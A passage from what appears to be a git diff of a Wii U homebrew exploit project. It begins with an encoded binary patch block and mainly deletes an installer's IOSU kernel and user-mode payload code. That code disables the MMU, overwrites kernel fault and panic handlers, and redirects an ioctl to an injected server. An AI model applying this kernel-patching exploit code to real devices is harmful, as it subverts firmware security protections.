z+m+v$CGtB3+JgL^?jD48PWS1>@ty>2L4Nz(z0h`*pdCH>u+jUCIlf}_$m)u{D@KnQ zGx7r?kEkc!oy67WuN2mRX)@XT2=+;-jfwYzNr zZviX(-2ra|cOjdf2lvdKO8d;r_<(euLfj zx|LwXb2eD%^%`z;ErzK(!_Dp(!%glG!)vkmvq9=+~6$uNDf;dXb3;T|^oVNzCL3;X#~5yPV+29Xsxo!%$XKt&j1GnUQOdfI_ zGpznq566fO9DlE1YwrYJ1D*jEzqd4G_PO@Z7)DsOq-({N0X>;(HXC&_SpEA3Fsj*| z2A1tv1wIH|0sa&4juz}7@XcUFx*B{KxB+}PcqCZ1@$<;0Y`e$7YrtE!QEw|HD6O2>70NN#7XgzXAPYx9+_4F!$oEFWq{^?&H7k77K9-2HGi4|Hac8ch=J% zecH^Pf-vi!*zw%+Z_tli=yP_-X)X4C>x^c%1-KXZI&e2|C$Jf~8MqO+3fKUw29^Q+ zz}dh@fYX3ppbKaRW&$lh18@>B1(*zs2Qt7Rz!*UEBLN4zjy${q>;!fI+ktJsgTNMG zGjKDYpY{;xH|6ve_f~D|9^sSW*8qL`XL6_q6^vuv+Od4!j=YU-Bja z$pD`OlHbjHH6+*D_Q_xWVPtaM@cGfnb=P+fNUo20?VxzQ?sGT3FJ5Q1+;^zIuDJh^ z!>^dE>sx-c{n5i8c%q{r^Xg6aEIW4dmmm7VK*Qr_zMXyXuq!$befi>skA3c`>zm)Z z&*kIpx~buf`)_Xf)%t_3Tz}EuH{5^Hk2XEFtL;OpA9$i+>BG-o_RDpT%=p%|n;W-$ z>byB)r(XX1WzT=2Y0I-$Jom;I-hBDOFP+kS%g@h$Vf$~#)oxh-XDwA@-v6c7zcS{9 zhaUVx%gc8>`Mcl0{L_=yUjJBb!S?T6{oYMqx%to+Zfo6t!TU!Kt^f4U`H#$;eOlAb zJFcBN?YMit_N$)Rcf5G!^oP!zcIi#m^zAxx)2p{+w)WnB*$MN0@b;yBm+r`(`I$F< zyy#2Uzy7pwQV@~PXF>Cfx+ zef`sZ(s}s}g9lywZ}s1OV*G+be|FmYzxjjT)IWZ}(HmwQKI6`Z?)Y_m!=`TxEWT@> zZ=dk#m+L1@-_o@9#UEXF|3Ckt{(-mOestc316OVTyPfs5?PvUS_Jj9bcm2;FslVpI zo@qlZ-#_@izrL&fxkcZ)Zffq!AN=ZL*VP|$^us^f@~vqT=3TnBe%_qZzjNVNdp>c{ zKb%$n)URtV-}k<2KJ}+>w$vX}fBP?|-ahtUKDqhN>o2(TmYrMrKhgU5vvWQ?|Ks~^ zKe~6-#k;OvKmF=IoOtNk`Pt?PTkkyS$j|&>%0)A7xYxb?)U;MIK|Q#zWU;UQ*7Ybsr*3Orr(L6>h$zy^K5z5Z7SI zuo>bQAeD^eX*u{*%kLy|ks$_!TftxDT)!$xn@?vhPnYvPAO9q*59%V&DW@xqhSTeb zBVUTOma6i7B=NOFv&bk^>SdHyTwCPMCA9V&4u6($e@pI$^C9CVz{jcX1m1DlJ|(E* z-xOt=zavSfGsHVUzLcNHFWq_W`h3-ppVdGtM;GCix_&nVM^>gvAs?x@=iGSXOCjBG z?nK_SKtBSBn@6lM2eB-?a>tlN_3~DAzk+ $@ - -$(sd_loader_elf): - make -C sd_loader - setup: mkdir -p $(root)/bin/ -main: sd_loader.h +main: $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S cp -r $(root)/*.o $(build) rm $(root)/*.o @@ -41,6 +30,4 @@ main: sd_loader.h clean: rm -rf $(build) - rm -rf sd_loader.h - rm -rf hbl_loader.elf hbl_loader.map - make clean -C sd_loader + rm -rf hbl_loader.elf hbl_loader.map \ No newline at end of file diff --git a/dsrom/hbl_loader/README b/hbl_loader/README similarity index 100% rename from dsrom/hbl_loader/README rename to hbl_loader/README diff --git a/hbl_loader/common.h b/hbl_loader/common.h new file mode 100644 index 0000000..2a8f415 --- /dev/null +++ b/hbl_loader/common.h @@ -0,0 +1,22 @@ +#ifndef _COMMON_H_ +#define _COMMON_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) +#define OSFatal ((void (*)(char* msg))0x01031618) +#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) + +#define ADDRESS_main_entry_hook 0x0101c56c + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/dsrom/hbl_loader/crt0.S b/hbl_loader/crt0.S similarity index 100% rename from dsrom/hbl_loader/crt0.S rename to hbl_loader/crt0.S diff --git a/hbl_loader/launcher.c b/hbl_loader/launcher.c new file mode 100644 index 0000000..a4cfbde --- /dev/null +++ b/hbl_loader/launcher.c @@ -0,0 +1,5 @@ +#include "common.h" + +void __main(void){ + OSFatal("hello world"); +} diff --git a/installer/Makefile b/installer/Makefile deleted file mode 100644 index cd51857..0000000 --- a/installer/Makefile +++ /dev/null @@ -1,244 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -ifeq ($(strip $(DEVKITPRO)),) -$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -ifeq ($(CB),1) -TARGET := cbhc -else -TARGET := haxchi -endif -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src \ - src/dynamic_libs \ - src/fs \ - src/system \ - src/utils -DATA := data - -INCLUDES := src payload - -ifeq ($(CB),1) - DEFS := -DCB=1 -else - DEFS := -endif -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections - -#--------------------------------------------------------------------------------- -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := -liosuhax -lxml2 -lm - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 -I$(CURDIR)/libxml2/include - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib -L$(CURDIR)/libxml2/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): $(CURDIR)/payload/arm_kernel_bin.h - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/wupserver_bin.h $(CURDIR)/payload/arm_user_bin.h - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ - -$(CURDIR)/payload/wupserver_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/../wupserver -f $(CURDIR)/../wupserver/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/../wupserver/wupserver_bin.h $@ - -$(CURDIR)/payload/arm_user_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(CURDIR)/*.elf $(CURDIR)/payload - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean - @$(MAKE) --no-print-directory -C $(CURDIR)/../wupserver -f $(CURDIR)/../wupserver/Makefile clean - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean - - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - -../data/loader.bin: - $(MAKE) -C ../loader clean - $(MAKE) -C ../loader -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.jpg.o : %.jpg - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.bin.o : %.bin - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.wav.o : %.wav - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.mp3.o : %.mp3 - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ogg.o : %.ogg - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.zip.o : %.zip - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/installer/arm_kernel/Makefile b/installer/arm_kernel/Makefile deleted file mode 100644 index f9bc904..0000000 --- a/installer/arm_kernel/Makefile +++ /dev/null @@ -1,72 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/installer/arm_kernel/link.ld b/installer/arm_kernel/link.ld deleted file mode 100644 index c28ba4a..0000000 --- a/installer/arm_kernel/link.ld +++ /dev/null @@ -1,18 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00 -} - -SECTIONS -{ - .text : ALIGN(0x100) { - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - } -} - diff --git a/installer/arm_kernel/source/crt0.s b/installer/arm_kernel/source/crt0.s deleted file mode 100644 index 83d7bb6..0000000 --- a/installer/arm_kernel/source/crt0.s +++ /dev/null @@ -1,9 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -_start: - b _main diff --git a/installer/arm_kernel/source/main.c b/installer/arm_kernel/source/main.c deleted file mode 100644 index 4bd4d3c..0000000 --- a/installer/arm_kernel/source/main.c +++ /dev/null @@ -1,106 +0,0 @@ -#include "types.h" -#include "../../payload/arm_user_bin.h" - -static const char repairData_set_fault_behavior[] = { - 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, - 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, - 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, -}; -static const char repairData_set_panic_behavior[] = { - 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, - 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, - 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, - 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, - 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, - 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, - 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, -}; -static const char repairData_usb_root_thread[] = { - 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, - 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, - 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, - 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, - 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, - 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, - 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, -}; - -/* from smealum's iosuhax: must be placed at 0x05059938 */ -static const char os_launch_hook[] = { - 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, - 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, - 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, - 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, - 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, - 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, - 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, - 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, - 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, -}; - -unsigned int disable_mmu(void); -void restore_mmu(unsigned int control_register); - -int _main() -{ - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; - void(*invalidate_icache)() = (void(*)())0x0812DCF0; - void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; - void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; - char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; - - flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache - - int level = disable_interrupts(); - - unsigned int control_register = disable_mmu(); - - /* Save the request handle so we can reply later */ - *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; - - /* Patch kernel_error_handler to BX LR immediately */ - *(int*)0x08129A24 = 0xE12FFF1E; - - void * pset_fault_behavior = (void*)0x081298BC; - kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); - - void * pset_panic_behavior = (void*)0x081296E4; - kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); - - void * pusb_root_thread = (void*)0x10100174; - kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); - - void * pUserBinSource = (void*)0x01E50000; - void * pUserBinDest = (void*)0x101312D0; - kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); - - // take wupserver from mem1 - u32 wupserver_bin_len = *(volatile u32*)0x01E70000; - void *wupserver_bin = (void*)0x01E70020; - - // overwrite mcp_d_r code with wupserver - *(volatile u32*)(0x0510E56C - 0x05100000 + 0x13D80000) = 0x47700000; // bx lr - void *wupserver_dst = (void*)(0x0510E570 - 0x05100000 + 0x13D80000); - kernel_memcpy(wupserver_dst, wupserver_bin, wupserver_bin_len); - invalidate_dcache((u32)wupserver_dst, wupserver_bin_len); - invalidate_icache(); - - // replace ioctl 0x62 code with jump to wupserver - *(volatile u32*)(0x05026BA8 - 0x05000000 + 0x081C0000) = 0x47780000; // bx pc - *(volatile u32*)(0x05026BAC - 0x05000000 + 0x081C0000) = 0xE59F1000; // ldr r1, [pc] - *(volatile u32*)(0x05026BB0 - 0x05000000 + 0x081C0000) = 0xE12FFF11; // bx r1 - *(volatile u32*)(0x05026BB4 - 0x05000000 + 0x081C0000) = 0x0510E570; // wupserver code - - *(int*)(0x1555500) = 0; - - /* REENABLE MMU */ - restore_mmu(control_register); - - invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache - invalidate_icache(); - - enable_interrupts(level); - - return 0; -} diff --git a/installer/arm_kernel/source/mmu.s b/installer/arm_kernel/source/mmu.s deleted file mode 100644 index 17fab93..0000000 --- a/installer/arm_kernel/source/mmu.s +++ /dev/null @@ -1,18 +0,0 @@ -.section ".text" -.arm -.align 4 - -.globl disable_mmu -.type disable_mmu, %function -disable_mmu: - mrc p15, 0, r0, c1, c0, 0 - ldr r1, =#0xFFFFEFFA - and r1, r0, r1 - mcr p15, 0, r1, c1, c0, 0 - bx lr - -.globl restore_mmu -.type restore_mmu, %function -restore_mmu: - mcr p15, 0, r0, c1, c0, 0 - bx lr diff --git a/installer/arm_kernel/source/types.h b/installer/arm_kernel/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/installer/arm_kernel/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/installer/arm_user/Makefile b/installer/arm_user/Makefile deleted file mode 100644 index f9bc904..0000000 --- a/installer/arm_user/Makefile +++ /dev/null @@ -1,72 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/installer/arm_user/link.ld b/installer/arm_user/link.ld deleted file mode 100644 index 5408355..0000000 --- a/installer/arm_user/link.ld +++ /dev/null @@ -1,18 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 -} - -SECTIONS -{ - .text : ALIGN(0x04) { - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - } -} - diff --git a/installer/arm_user/source/crt0.s b/installer/arm_user/source/crt0.s deleted file mode 100644 index b5608cd..0000000 --- a/installer/arm_user/source/crt0.s +++ /dev/null @@ -1,20 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -.extern memset -.type memset, %function - -_start: - b _main - - .global IOS_DCFlushAllCache -IOS_DCFlushAllCache: - MOV R15, R0 -clean_loop: - MRC p15, 0, r15, c7, c10, 3 - BNE clean_loop - MCR p15, 0, R0, c7, c10, 4 diff --git a/installer/arm_user/source/main.c b/installer/arm_user/source/main.c deleted file mode 100644 index 6f90ca5..0000000 --- a/installer/arm_user/source/main.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "types.h" -#include "utils.h" - - -void _main() -{ - - void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; - - int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; - - int saved_handle = *(volatile u32*)0x01E10000; - int myret = reply(saved_handle, 0); - if (myret != 0) - ios_shutdown(1); - - // stack pointer will be 0x1016AE30 - // link register will be 0x1012EACC - asm("LDR SP, newsp\n" - "LDR R0, newr0\n" - "LDR LR, newlr\n" - "LDR PC, newpc\n" - "newsp: .word 0x1016AE30\n" - "newlr: .word 0x1012EACC\n" - "newr0: .word 0x10146080\n" - "newpc: .word 0x10111164\n"); - - - -} diff --git a/installer/arm_user/source/types.h b/installer/arm_user/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/installer/arm_user/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/installer/arm_user/source/utils.c 